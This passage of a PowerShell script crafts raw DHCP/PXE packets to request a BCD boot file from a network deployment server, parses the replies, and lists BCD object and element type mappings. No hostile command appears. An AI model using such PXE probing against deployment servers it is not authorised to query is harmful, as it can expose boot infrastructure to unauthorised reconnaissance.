$DhcpDiscover\_Option255 = New-Object Byte\[\] 1     $DhcpDiscover\_Option255\[0\] = 255     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option255          Return $DhcpDiscover }   \# Create a DHCP Request Packet for BCD file  Function New-DhcpRequestPacket{     Param(         \[String\]$MacAddressString = "AA:BB:CC:DD:EE:FC",                  \[String\]$UUIDString = "AABBCCDD-AABB-AABB-AABB-AABBCCDDEEFF",              $PxeInfo     )     # Create the Byte Array     $DhcpDiscover = New-Object Byte\[\] 241          # Convert the MAC Address String into a Byte Array     # Drop any characters which might be used to delimit the string     $MacAddressString = $MacAddressString -Replace "-\|:"      $MacAddress = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($MacAddressString,\[Globalization.NumberStyles\]::HexNumber)))     \[Array\]::Reverse($MacAddress)     # Copy the MacAddress Bytes into the array (drop the first 2 bytes,      # too many bytes returned from UInt64)     \[Array\]::Copy($MACAddress, 2, $DhcpDiscover, 28, 6)     # Copy the Transaction ID Bytes into the array     $ID = "{0:x}" -f $PXEInfo.XID     $ID = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($ID,\[Globalization.NumberStyles\]::HexNumber)))     \[Array\]::Copy($ID, 0, $DhcpDiscover, 4, 4)          # Copy the client UID into the array     # Drop any characters which might be used to delimit the string     $UUIDString = $UUIDString -Replace "-\|:"      $UUIDString1= $UUIDString.Substring(0,16)     $UUIDString2= $UUIDString.Substring(16,16)     $UUID1 = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($UUIDString1,\[Globalization.NumberStyles\]::HexNumber)))     $UUID2 = \[BitConverter\]::GetBytes((\[UInt64\]::Parse($UUIDString2,\[Globalization.NumberStyles\]::HexNumber)))     $UUID = $UUID1 + $UUID2     \[Array\]::Reverse($UUID)     # Set the OP Code to BOOTREQUEST     $DhcpDiscover\[0\] = 1     # Set the Hardware Address Type to Ethernet     $DhcpDiscover\[1\] = 1     # Set the Hardware Address Length (number of bytes)     $DhcpDiscover\[2\] = 6     # Set the Broadcast Flag     $DhcpDiscover\[10\] = 0          # Set the IP Client     $ArrayYIAddr = $PXEInfo.YIAddr.Split(".")     $DhcpDiscover\[12\] = $ArrayYIAddr\[0\]     $DhcpDiscover\[13\] = $ArrayYIAddr\[1\]     $DhcpDiscover\[14\] = $ArrayYIAddr\[2\]     $DhcpDiscover\[15\] = $ArrayYIAddr\[3\]          # Set the Magic Cookie values     $DhcpDiscover\[236\] = 99     $DhcpDiscover\[237\] = 130     $DhcpDiscover\[238\] = 83     $DhcpDiscover\[239\] = 99          # Set the Option #53 : DHCP Message Type     $DhcpDiscover\_Option53 = New-Object Byte\[\] 3     $DhcpDiscover\_Option53\[0\] = 53     $DhcpDiscover\_Option53\[1\] = 1     $DhcpDiscover\_Option53\[2\] = 3     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option53     # Set the Option #55 : Parameter Request List     $DhcpDiscover\_Option55 = New-Object Byte\[\] 15     $DhcpDiscover\_Option55\[0\] = 55     $DhcpDiscover\_Option55\[1\] = 13     $DhcpDiscover\_Option55\[2\] = 3     $DhcpDiscover\_Option55\[3\] = 1     $DhcpDiscover\_Option55\[4\] = 60     $DhcpDiscover\_Option55\[5\] = 66     $DhcpDiscover\_Option55\[6\] = 67     $DhcpDiscover\_Option55\[7\] = 128     $DhcpDiscover\_Option55\[8\] = 129     $DhcpDiscover\_Option55\[9\] = 130     $DhcpDiscover\_Option55\[10\] = 131     $DhcpDiscover\_Option55\[11\] = 132     $DhcpDiscover\_Option55\[12\] = 133     $DhcpDiscover\_Option55\[13\] = 134     $DhcpDiscover\_Option55\[14\] = 135     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option55          # Set the Option #60     $Option60String = "PXEClient"     $DhcpDiscover\_Option60 = New-Object Byte\[\] 2     $DhcpDiscover\_Option60\[0\] = 60     $DhcpDiscover\_Option60\[1\] = \[System.Text.Encoding\]::ASCII.GetBytes($Option60String).Length;     $Option60Array = \[System.Text.Encoding\]::ASCII.GetBytes($Option60String);     $DhcpDiscover\_Option60 = $DhcpDiscover\_Option60 + $Option60Array;     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option60;     # Set the Option #93 : Client System Architecture     $DhcpDiscover\_Option93 = New-Object Byte\[\] 4     $DhcpDiscover\_Option93\[0\] = 93     $DhcpDiscover\_Option93\[1\] = 2     $DhcpDiscover\_Option93\[2\] = 0     $DhcpDiscover\_Option93\[3\] = 0 # IA x86 PC     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option93     # Set the Option #97 : Client Identifier     $DhcpDiscover\_Option97 = New-Object Byte\[\] 3     $DhcpDiscover\_Option97\[0\] = 97     $DhcpDiscover\_Option97\[1\] = 17     $DhcpDiscover\_Option97\[2\] = 0     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option97 + $UUID          # Set the Option #250 : Some kind of Architecture ?!      # Used by SCCM to obtain correct BCD     # https://blogs.technet.microsoft.com/dominikheinz/2011/03/18/sccm-pxe-network-boot-process     #      # Option 250 example: 0c 01 01 0d 02 08 00 0e 01 00 01 02 00 06 ff     # http://lists.ipxe.org/pipermail/ipxe-devel/2015-July/004284.html     # https://blogs.technet.microsoft.com/sudheesn/2013/09/20/troubleshooting-sccm-part-vii-osd-part-i/     # Another Option 250 example: 0d 02 08 00 0e 01 01 01 02 00 06 05 04 00 00 00 02 ff          # If someone have an idea to generate it ???     # Set the Option #250 : Some kind of Architecture ?!     # $DhcpDiscover\_Option250 = New-Object Byte\[\] 14     # $DhcpDiscover\_Option250\[0\] = 0     # $DhcpDiscover\_Option250\[1\] = 0     # $DhcpDiscover\_Option250\[2\] = 0     # $DhcpDiscover\_Option250\[3\] = 0     # $DhcpDiscover\_Option250\[4\] = 0     # $DhcpDiscover\_Option250\[5\] = 0     # $DhcpDiscover\_Option250\[6\] = 0     # $DhcpDiscover\_Option250\[7\] = 0     # $DhcpDiscover\_Option250\[8\] = 0     # $DhcpDiscover\_Option250\[9\] = 0     # $DhcpDiscover\_Option250\[10\] = 0     # $DhcpDiscover\_Option250\[11\] = 0     # $DhcpDiscover\_Option250\[12\] = 0     # $DhcpDiscover\_Option250\[13\] = 0     # $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option250          # Set the end     $DhcpDiscover\_Option255 = New-Object Byte\[\] 1     $DhcpDiscover\_Option255\[0\] = 255     $DhcpDiscover = $DhcpDiscover + $DhcpDiscover\_Option255     Return $DhcpDiscover } \# Send a DHCP Packet Function Send-DhcpPacket{     Param(         $Message,                  $BindEndPoint,                  $SendEndPoint,         \[Byte\]$DiscoverTimeout = 255     )          # Create a socket     $UdpSocket = New-UdpSocket     # Listen on $EndPoint     $UdpSocket.Bind($BindEndPoint)     # Send the DHCPDISCOVER packet        Write-Host ">>> Sending DHCP packet"     $BytesSent = $UdpSocket.SendTo($Message, $SendEndPoint)           # Begin receiving and processing responses     $NoConnectionTimeOut = $True           $Start = Get-Date     Write-Host ">>> Beginning reception"     While ($NoConnectionTimeOut){              $BytesReceived = 0                  Try{             # Placeholder EndPoint for the Sender             $SenderEndPoint = \[Net.EndPoint\](New-Object Net.IPEndPoint($(\[Net.IPAddress\]::Any, 0)))             # Receive Buffer             $ReceiveBuffer = New-Object Byte\[\] 1024             $BytesReceived = $UdpSocket.ReceiveFrom($ReceiveBuffer, \[Ref\]$SenderEndPoint)             If ($BytesReceived -lt 1024){                 $NoConnectionTimeOut = $False             }         }         Catch \[Net.Sockets.SocketException\]{             # Catch a SocketException, thrown when the Receive TimeOut value is reached             $NoConnectionTimeOut = $False         }         If ($BytesReceived -gt 0){             $PXEInfo = Read-DhcpPacket $ReceiveBuffer\[0..$BytesReceived\]         }         # Exit condition, not error condition         If ((Get-Date) -gt $Start.AddSeconds($DiscoverTimeout)){             $NoConnectionTimeOut = $False         }     }     Write-Host ">>> Reception finished"              Remove-Socket $UdpSocket     Return $PXEInfo } \# Parse a DHCP Packet, returning an object containing each field Function Read-DhcpPacket( \[Byte\[\]\]$Packet ){   $Reader = New-Object IO.BinaryReader(New-Object IO.MemoryStream(@(,$Packet)))     $DhcpResponse = New-Object Object     # Get and translate the Op code   $DhcpResponse \| Add-Member NoteProperty Op $Reader.ReadByte()   if ($DhcpResponse.Op -eq 1)    {      $DhcpResponse.Op = "BootRequest"    }    else    {      $DhcpResponse.Op = "BootResponse"    }     $DhcpResponse \| Add-Member NoteProperty HType -Value $Reader.ReadByte()   if ($DhcpResponse.HType -eq 1) { $DhcpResponse.HType = "Ethernet" }     $DhcpResponse \| Add-Member NoteProperty HLen $Reader.ReadByte()   $DhcpResponse \| Add-Member NoteProperty Hops $Reader.ReadByte()   $DhcpResponse \| Add-Member NoteProperty XID $Reader.ReadUInt32()   $DhcpResponse \| Add-Member NoteProperty Secs $Reader.ReadUInt16()   $DhcpResponse \| Add-Member NoteProperty Flags $Reader.ReadUInt16()   # Broadcast is the only flag that can be present, the other bits are reserved   if ($DhcpResponse.Flags -BAnd 128) { $DhcpResponse.Flags = @("Broadcast") }     $DhcpResponse \| Add-Member NoteProperty CIAddr `     $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `     "$($Reader.ReadByte()).$($Reader.ReadByte())")   $DhcpResponse \| Add-Member NoteProperty YIAddr `     $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `     "$($Reader.ReadByte()).$($Reader.ReadByte())")   $DhcpResponse \| Add-Member NoteProperty SIAddr `     $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `     "$($Reader.ReadByte()).$($Reader.ReadByte())")   $DhcpResponse \| Add-Member NoteProperty GIAddr `     $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `     "$($Reader.ReadByte()).$($Reader.ReadByte())")     $MacAddrBytes = New-Object Byte\[\] 16   \[Void\]$Reader.Read($MacAddrBytes, 0, 16)   $MacAddress = \[String\]::Join(     ":", $($MacAddrBytes\[0..5\] \| %{ \[String\]::Format('{0:X2}', $\_) }))   $DhcpResponse \| Add-Member NoteProperty CHAddr $MacAddress     $DhcpResponse \| Add-Member NoteProperty SName `     $(\[String\]::Join("", $Reader.ReadChars(64)).Trim())   $DhcpResponse \| Add-Member NoteProperty File `     $(\[String\]::Join("", $Reader.ReadChars(128)).Trim())     $DhcpResponse \| Add-Member NoteProperty MagicCookie `     $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `     "$($Reader.ReadByte()).$($Reader.ReadByte())")     # Start reading Options     $DhcpResponse \| Add-Member NoteProperty Options @()   While ($Reader.BaseStream.Position -lt $Reader.BaseStream.Length)   {     $Option = New-Object Object     $Option \| Add-Member NoteProperty OptionCode $Reader.ReadByte()     $Option \| Add-Member NoteProperty OptionName ""     $Option \| Add-Member NoteProperty Length 0     $Option \| Add-Member NoteProperty OptionValue ""       If ($Option.OptionCode -ne 0 -And $Option.OptionCode -ne 255)     {       $Option.Length = $Reader.ReadByte()     }       Switch ($Option.OptionCode)     {       0 { $Option.OptionName = "PadOption" }       1 {         $Option.OptionName = "SubnetMask"         $Option.OptionValue = `           $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `           "$($Reader.ReadByte()).$($Reader.ReadByte())") }       3 {         $Option.OptionName = "Router"         $Option.OptionValue = `           $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `           "$($Reader.ReadByte()).$($Reader.ReadByte())") }       6 {         $Option.OptionName = "DomainNameServer"         $Option.OptionValue = @()         For ($i = 0; $i -lt ($Option.Length / 4); $i++)          {            $Option.OptionValue += `             $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `             "$($Reader.ReadByte()).$($Reader.ReadByte())")         } }       15 {         $Option.OptionName = "DomainName"         $Option.OptionValue = \[String\]::Join(           "", $Reader.ReadChars($Option.Length)) }       51 {         $Option.OptionName = "IPAddressLeaseTime"         # Read as Big Endian         $Value = ($Reader.ReadByte() \* \[Math\]::Pow(256, 3)) + `           ($Reader.ReadByte() \* \[Math\]::Pow(256, 2)) + `           ($Reader.ReadByte() \* 256) + `           $Reader.ReadByte()         $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }       53 {          $Option.OptionName = "DhcpMessageType"         Switch ($Reader.ReadByte())         {           1 { $Option.OptionValue = "DHCPDISCOVER" }           2 { $Option.OptionValue = "DHCPOFFER" }           3 { $Option.OptionValue = "DHCPREQUEST" }           4 { $Option.OptionValue = "DHCPDECLINE" }           5 { $Option.OptionValue = "DHCPACK" }           6 { $Option.OptionValue = "DHCPNAK" }           7 { $Option.OptionValue = "DHCPRELEASE" }         } }       54 {         $Option.OptionName = "DhcpServerIdentifier"         $Option.OptionValue = `           $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `           "$($Reader.ReadByte()).$($Reader.ReadByte())") }       58 {         $Option.OptionName = "RenewalTime"         # Read as Big Endian         $Value = ($Reader.ReadByte() \* \[Math\]::Pow(256, 3)) + `           ($Reader.ReadByte() \* \[Math\]::Pow(256, 2)) + `           ($Reader.ReadByte() \* 256) + `           $Reader.ReadByte()         $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }       59 {         $Option.OptionName = "RebindingTime"         # Read as Big Endian         $Value = ($Reader.ReadByte() \* \[Math\]::Pow(256, 3)) + `           ($Reader.ReadByte() \* \[Math\]::Pow(256, 2)) + `           ($Reader.ReadByte() \* 256) + `           $Reader.ReadByte()         $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }       67 {         $Option.OptionName = "vendor-class-identifier"         # Read as Big Endian         $Value = ($Reader.ReadByte() \* \[Math\]::Pow(256, 3)) + `           ($Reader.ReadByte() \* \[Math\]::Pow(256, 2)) + `           ($Reader.ReadByte() \* 256) + `           $Reader.ReadByte()         $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }       252 {         $Option.OptionName = "Private / autodiscovery"         $Option.OptionValue = \[String\]::Join(           "", $Reader.ReadChars($Option.Length)) }       255 { $Option.OptionName = "EndOption" }       default {         # For all options which are not decoded here         $Option.OptionName = "NoOptionDecode"         $Buffer = New-Object Byte\[\] $Option.Length         \[Void\]$Reader.Read($Buffer, 0, $Option.Length)         $Option.OptionValue = $Buffer       }     }       # Override the ToString method     $Option \| Add-Member ScriptMethod ToString `         { Return "$($this.OptionName) ($($this.OptionValue))" } -Force       $DhcpResponse.Options += $Option   }       Return $DhcpResponse  }   \# Create a UDP Socket with Broadcast and Address Re-use enabled.  Function New-UdpSocket{     Param(         \[Int32\]$SendTimeOut = 5,         \[Int32\]$ReceiveTimeOut = 5     )     $UdpSocket = New-Object Net.Sockets.Socket(     \[Net.Sockets.AddressFamily\]::InterNetwork,      \[Net.Sockets.SocketType\]::Dgram,     \[Net.Sockets.ProtocolType\]::Udp)     $UdpSocket.EnableBroadcast = $True     $UdpSocket.ExclusiveAddressUse = $False     $UdpSocket.SendTimeOut = $SendTimeOut \* 1000     $UdpSocket.ReceiveTimeOut = $ReceiveTimeOut \* 1000     Return $UdpSocket }   \# Close down a Socket Function Remove-Socket{     Param(         \[Net.Sockets.Socket\]$Socket     )     $Socket.Shutdown("Both")     $Socket.Close() }     ##########################     ##      ## Author: Rudolf Vesely     ## Name : Convert subnet mask     ## Link : https://gallery.technet.microsoft.com/scriptcenter/Convert-subnet-mask-7b501479     ## License: Free for private use only      ##      ##########################      Function Convert-RvNetIpAddressToInt64{      <#      .DESCRIPTION          Developer              Developer: Rudolf Vesely, http://rudolfvesely.com/              Copyright (c) Rudolf Vesely. All rights reserved              License: Free for private use only      #>        Param      (          \[string\]          $IpAddress      )        $ipAddressParts = $IpAddress.Split('.') # IP to it's octets        # Return      \[int64\](\[int64\]$ipAddressParts\[0\] \* 16777216 +              \[int64\]$ipAddressParts\[1\] \* 65536 +              \[int64\]$ipAddressParts\[2\] \* 256 +              \[int64\]$ipAddressParts\[3\])  } Function Convert-RvNetSubnetMaskClassesToCidr{      <#      .DESCRIPTION          Developer              Developer: Rudolf Vesely, http://rudolfvesely.com/              Copyright (c) Rudolf Vesely. All rights reserved              License: Free for private use only      #>        Param      (          \[string\]          $SubnetMask      )        \[int64\]$subnetMaskInt64 = Convert-RvNetIpAddressToInt64 -IpAddress $SubnetMask        $subnetMaskCidr32Int = 2147483648 # 0x80000000 - Same as Convert-RvNetIpAddressToInt64 -IpAddress '255.255.255.255'        $subnetMaskCidr = 0      for ($i = 0; $i -lt 32; $i++)      {          if (!($subnetMaskInt64 -band $subnetMaskCidr32Int) -eq $subnetMaskCidr32Int) { break } # Bitwise and operator - Same as "&" in C#            $subnetMaskCidr++          $subnetMaskCidr32Int = $subnetMaskCidr32Int -shr 1 # Bit shift to the right - Same as ">>" in C#      }        # Return      $subnetMaskCidr  }     ##########################     ##      ## Author: Matthew Graeber (@mattifestation)     ## Name : BCD     ## Github : https://github.com/mattifestation/BCD     ## License: BSD 3-Clause     ##      ########################## \#region module-scoped variables \# As new object and element types are added, they will need to be added here. \# Applying symbols to bcdedit.exe will typically get the job done. \# This is a mapping of well-known identifier->identifier (GUID)->type value $Script:ObjectFriendlyNameMapping = @{     'EmsSettings' =          @('{0CE4991B-E6B3-4B16-B23C-5E0D9250E5D9}', \[UInt32\] 0x20100000)     'ResumeLoaderSettings' = @('{1AFA9C49-16AB-4A5C-901B-212802DA9460}', \[UInt32\] 0x20200004)     'Default' =              @('{1CAE1EB7-A0DF-4D4D-9851-4860E34EF535}', \[UInt32\] 0x10200003)     'KernelDbgSettings' =    @('{313E8EED-7098-4586-A9BF-309C61F8D449}', \[UInt32\] 0x20200003)     'DbgSettings' =          @('{4636856E-540F-4170-A130-A84776F4C654}', \[UInt32\] 0x20100000)     'EventSettings' =        @('{4636856E-540F-4170-A130-A84776F4C654}', \[UInt32\] 0x20100000)     'Legacy' =               @('{466F5A88-0AF2-4F76-9038-095B170DC21C}', \[UInt32\] 0x10300006)     'NtLdr' =                @('{466F5A88-0AF2-4F76-9038-095B170DC21C}', \[UInt32\] 0x10300006)     'BadMemory' =            @('{5189B25C-5558-4BF2-BCA4-289B11BD29E2}', \[UInt32\] 0x20100000)     'BootloaderSettings' =   @('{6EFB52BF-1766-41DB-A6B3-0EE5EFF72BD7}', \[UInt32\] 0x20200003)     'GlobalSettings' =       @('{7EA2E1AC-2E61-4728-AAA3-896D9D0A9F0E}', \[UInt32\] 0x20100000)     'HypervisorSettings' =   @('{7FF607E0-4395-11DB-B0DE-0800200C9A66}', \[UInt32\] 0x20200003)     'BootMgr' =              @('{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}', \[UInt32\] 0x10100002)     'FWBootMgr' =            @('{A5A30FA2-3D06-4E9F-B5F4-A01DF9D1FCBA}', \[UInt32\] 0x10100001)     'RamDiskOptions' =       @('{AE5534E0-A924-466C-B836-758539A3EE3A}', \[UInt32\] 0x30000000)     'MemDiag' =              @('{B2721D73-1DB4-4C62-BF78-C548A880142D}', \[UInt32\] 0x10200005)     'Current' =              @('{FA926493-6F1C-4193-A414-58F0B2456D1E}', \[UInt32\] 0x10200003)     'SetupEFI' =             @('{7254A080-1510-4E85-AC0F-E7FB3D444736}', \[UInt32\] 0x10200003)     'TargetTemplateEFI' =    @('{B012B84D-C47C-4ED5-B722-C0C42163E569}', \[UInt32\] 0x10200003)     'SetupPCAT' =            @('{CBD971BF-B7B8-4885-951A-FA03044F5D71}', \[UInt32\] 0x10200003)     'TargetTemplatePCAT' =   @('{A1943BBC-EA85-487C-97C7-C9EDE908A38A}', \[UInt32\] 0x10200003) } $Script:ObjectTypes = @{     1 = 'Application'     2 = 'Inherit'     3 = 'Device' } $Script:ImageTypes = @{     1 = 'Firmware'     2 = 'WindowsBootApp'     3 = 'LegacyLoader'     4 = 'RealMode' } \# reactos/boot/environ/include/bcd.h $Script:ApplicationTypes = @{     1 = 'FWBootMgr'     2 = 'BootMgr'     3 = 'OSLoader'     4 = 'Resume'     5 = 'MemDiag'     6 = 'NTLdr'     7 = 'SetupLdr'     8 = 'Bootsector'     9 = 'StartupCom'     10 = 'BootApp' } $Script:InheritableTypes = @{     1 = 'InheritableByAnyObject'     2 = 'InheritableByApplicationObject'     3 = 'InheritableByDeviceObject' } $Script:ElementTypes = @{     1 = 'Library'     2 = 'Application'     3 = 'Device'     4 = 'Template'     5 = 'OEM' } $Script:ElementFormatTypes = @{     1 = 'Device'   # Will map to the following Set-BCDElement param: -Device     2 = 'String'   # Will map to the following Set-BCDElement param: -String     3 = 'Id'       # Will map to the following Set-BCDElement param: -Object     4 = 'Ids'      # Will map to the following Set-BCDElement param: -ObjectList     5 = 'Integer'  # Will map to the following Set-BCDElement param: -Integer     6 = 'Boolean'  # Will map to the following Set-BCDElement param: -Boolean     7 = 'Integers' # Will map to the following Set-BCDElement param: -IntegerList } \# Kind of a hack. I don't fully understand how inheritable \# object map properly so I merged all the existing definitions \# together minus collisions (which were removed). $Script:ElementInheritableNameMapping = @{     (\[UInt32\] 0x11000001) = 'Device'     (\[UInt32\] 0x12000002) = 'Path'     (\[UInt32\] 0x12000004) = 'Description'     (\[UInt32\] 0x12000005) = 'Locale'     (\[UInt32\] 0x14000006) = 'Inherit'     (\[UInt32\] 0x15000007) = 'TruncateMemory'     (\[UInt32\] 0x14000008) = 'RecoverySequence'     (\[UInt32\] 0x16000009) = 'RecoveryEnabled'     (\[UInt32\] 0x1700000A) = 'BadMemoryList'     (\[UInt32\] 0x1600000B) = 'BadMemoryAccess'     (\[UInt32\] 0x1500000C) = 'FirstMegabytePolicy'     (\[UInt32\] 0x1500000D) = 'RelocatePhysical'     (\[UInt32\] 0x1500000E) = 'AvoidLowMemory'     (\[UInt32\] 0x1600000F) = 'TraditionalKseg'     (\[UInt32\] 0x16000010) = 'BootDebug'     (\[UInt32\] 0x15000011) = 'DebugType'     (\[UInt32\] 0x15000012) = 'DebugAddress'     (\[UInt32\] 0x15000013) = 'DebugPort'     (\[UInt32\] 0x15000014) = 'BaudRate'     (\[UInt32\] 0x15000015) = 'Channel'     (\[UInt32\] 0x12000016) = 'TargetName'     (\[UInt32\] 0x16000017) = 'NoUMEx'     (\[UInt32\] 0x15000018) = 'DebugStart'     (\[UInt32\] 0x12000019) = 'BusParams'     (\[UInt32\] 0x1500001A) = 'HostIP'     (\[UInt32\] 0x1500001B) = 'Port'     (\[UInt32\] 0x1600001C) = 'DHCP'     (\[UInt32\] 0x1200001D) = 'Key'     (\[UInt32\] 0x1600001E) = 'VM'     (\[UInt32\] 0x16000020) = 'BootEMS'     (\[UInt32\] 0x15000022) = 'EMSPort'     (\[UInt32\] 0x15000023) = 'EMSBaudRate'     (\[UInt32\] 0x12000030) = 'LoadOptions'     (\[UInt32\] 0x16000031) = 'AttemptNonBcdStart' # No actual friendly name defined     (\[UInt32\] 0x16000040) = 'AdvancedOptions'     (\[UInt32\] 0x16000041) = 'OptionsEdit'     (\[UInt32\] 0x15000042) = 'KeyringAddress'     (\[UInt32\] 0x11000043) = 'BootStatusDataLogDevice' # No actual friendly name defined     (\[UInt32\] 0x12000044) = 'BootStatusDataLogPath' # No actual friendly name defined     (\[UInt32\] 0x16000045) = 'PreserveBootStat'     (\[UInt32\] 0x16000046) = 'GraphicsModeDisabled'     (\[UInt32\] 0x15000047) = 'ConfigAccessPolicy'     (\[UInt32\] 0x16000048) = 'NoIntegrityChecks'     (\[UInt32\] 0x16000049) = 'TestSigning'     (\[UInt32\] 0x1200004A) = 'FontPath'     (\[UInt32\] 0x1500004B) = 'IntegrityServices' # BCDE\_LIBRARY\_TYPE\_SI\_POLICY     (\[UInt32\] 0x1500004C) = 'VolumeBandId'     (\[UInt32\] 0x16000050) = 'ExtendedInput'     (\[UInt32\] 0x15000051) = 'InitialConsoleInput'     (\[UInt32\] 0x15000052) = 'GraphicsResolution'     (\[UInt32\] 0x16000053) = 'RestartOnFailure'     (\[UInt32\] 0x16000054) = 'HighestMode'     (\[UInt32\] 0x16000060) = 'IsolatedContext'     (\[UInt32\] 0x15000065) = 'DisplayMessage'     (\[UInt32\] 0x15000066) = 'DisplayMessageOverride'     (\[UInt32\] 0x16000067) = 'NoBootUxLogo' # No actual friendly name defined     (\[UInt32\] 0x16000068) = 'NoBootUxText'     (\[UInt32\] 0x16000069) = 'NoBootUxProgress'     (\[UInt32\] 0x1600006A) = 'NoBootUxFade'     (\[UInt32\] 0x1600006B) = 'BootUxReservePoolDebug' # No actual friendly name defined     (\[UInt32\] 0x1600006C) = 'BootUxDisabled'     (\[UInt32\] 0x1500006D) = 'BootUxFadeFrames' # No actual friendly name defined     (\[UInt32\] 0x1600006E) = 'BootUxDumpStats' # No actual friendly name defined     (\[UInt32\] 0x1600006F) = 'BootUxShowStats' # No actual friendly name defined     (\[UInt32\] 0x16000071) = 'MultiBootSystem' # No actual friendly name defined     (\[UInt32\] 0x16000072) = 'NoKeyboard'     (\[UInt32\] 0x15000073) = 'AliasWindowsKey' # No actual friendly name defined     (\[UInt32\] 0x16000074) = 'BootShutdownDisabled'     (\[UInt32\] 0x15000075) = 'PerformanceFrequency' # No actual friendly name defined     (\[UInt32\] 0x15000076) = 'SecurebootRawPolicy'     (\[UInt32\] 0x17000077) = 'AllowedInMemorySettings'     (\[UInt32\] 0x15000079) = 'BootUxtTransitionTime'     (\[UInt32\] 0x1600007A) = 'MobileGraphics'     (\[UInt32\] 0x1600007B) = 'ForceFipsCrypto'     (\[UInt32\] 0x1500007D) = 'BootErrorUx'     (\[UInt32\] 0x1600007E) = 'FlightSigning'     (\[UInt32\] 0x1500007F) = 'MeasuredBootLogFormat'     (\[UInt32\] 0x25000001) = 'PassCount'     (\[UInt32\] 0x25000003) = 'FailureCount'     (\[UInt32\] 0x26000202) = 'SkipFFUMode'     (\[UInt32\] 0x26000203) = 'ForceFFUMode'     (\[UInt32\] 0x25000510) = 'ChargeThreshold'     (\[UInt32\] 0x26000512) = 'OffModeCharging'     (\[UInt32\] 0x25000AAA) = 'Bootflow'     (\[UInt32\] 0x24000001) = 'DisplayOrder'     (\[UInt32\] 0x24000002) = 'BootSequence'     (\[UInt32\] 0x23000003) = 'Default'     (\[UInt32\] 0x25000004) = 'Timeout'     (\[UInt32\] 0x26000005) = 'AttemptResume'     (\[UInt32\] 0x23000006) = 'ResumeObject'     (\[UInt32\] 0x24000010) = 'ToolsDisplayOrder'     (\[UInt32\] 0x26000020) = 'DisplayBootMenu'     (\[UInt32\] 0x26000021) = 'NoErrorDisplay'     (\[UInt32\] 0x21000022) = 'BcdDevice'     (\[UInt32\] 0x22000023) = 'BcdFilePath'     (\[UInt32\] 0x26000028) = 'ProcessCustomActionsFirst'     (\[UInt32\] 0x27000030) = 'CustomActionsList'     (\[UInt32\] 0x26000031) = 'PersistBootSequence'     (\[UInt32\] 0x21000001) = 'FileDevice'     (\[UInt32\] 0x22000002) = 'FilePath'     (\[UInt32\] 0x26000006) = 'DebugOptionEnabled'     (\[UInt32\] 0x25000008) = 'BootMenuPolicy'     (\[UInt32\] 0x26000010) = 'DetectKernelAndHal'     (\[UInt32\] 0x22000011) = 'KernelPath'     (\[UInt32\] 0x22000012) = 'HalPath'     (\[UInt32\] 0x22000013) = 'DbgTransportPath'     (\[UInt32\] 0x25000020) = 'NX'     (\[UInt32\] 0x25000021) = 'PAEPolicy'     (\[UInt32\] 0x26000022) = 'WinPE'     (\[UInt32\] 0x26000024) = 'DisableCrashAutoReboot'     (\[UInt32\] 0x26000025) = 'UseLastGoodSettings'     (\[UInt32\] 0x26000027) = 'AllowPrereleaseSignatures'     (\[UInt32\] 0x26000030) = 'NoLowMemory'     (\[UInt32\] 0x25000031) = 'RemoveMemory'     (\[UInt32\] 0x25000032) = 'IncreaseUserVa'     (\[UInt32\] 0x26000040) = 'UseVgaDriver'     (\[UInt32\] 0x26000041) = 'DisableBootDisplay'     (\[UInt32\] 0x26000042) = 'DisableVesaBios'     (\[UInt32\] 0x26000043) = 'DisableVgaMode'     (\[UInt32\] 0x25000050) = 'ClusterModeAddressing'     (\[UInt32\] 0x26000051) = 'UsePhysicalDestination'     (\[UInt32\] 0x25000052) = 'RestrictApicCluster'     (\[UInt32\] 0x26000054) = 'UseLegacyApicMode'     (\[UInt32\] 0x25000055) = 'X2ApicPolicy'     (\[UInt32\] 0x26000060) = 'UseBootProcessorOnly'     (\[UInt32\] 0x25000061) = 'NumberOfProcessors'     (\[UInt32\] 0x26000062) = 'ForceMaximumProcessors'     (\[UInt32\] 0x25000063) = 'ProcessorConfigurationFlags'     (\[UInt32\] 0x26000064) = 'MaximizeGroupsCreated'     (\[UInt32\] 0x26000065) = 'ForceGroupAwareness'     (\[UInt32\] 0x25000066) = 'GroupSize'     (\[UInt32\] 0x26000070) = 'UseFirmwarePciSettings'     (\[UInt32\] 0x25000071) = 'MsiPolicy'     (\[UInt32\] 0x25000080) = 'SafeBoot'     (\[UInt32\] 0x26000081) = 'SafeBootAlternateShell'     (\[UInt32\] 0x26000090) = 'BootLogInitialization'     (\[UInt32\] 0x26000091) = 'VerboseObjectLoadMode'     (\[UInt32\] 0x260000a0) = 'KernelDebuggerEnabled'     (\[UInt32\] 0x260000a1) = 'DebuggerHalBreakpoint'     (\[UInt32\] 0x260000A2) = 'UsePlatformClock'     (\[UInt32\] 0x260000A3) = 'ForceLegacyPlatform'     (\[UInt32\] 0x250000A6) = 'TscSyncPolicy'     (\[UInt32\] 0x260000b0) = 'EmsEnabled'     (\[UInt32\] 0x250000c1) = 'DriverLoadFailurePolicy'     (\[UInt32\] 0x250000C2) = 'BootMenuPolicy'     (\[UInt32\] 0x260000C3) = 'AdvancedOptionsOneTime'     (\[UInt32\] 0x250000E0) = 'BootStatusPolicy'     (\[UInt32\] 0x260000E1) = 'DisableElamDrivers'     (\[UInt32\] 0x250000F0) = 'HypervisorLaunchType'     (\[UInt32\] 0x260000F2) = 'HypervisorDebugEnabled'     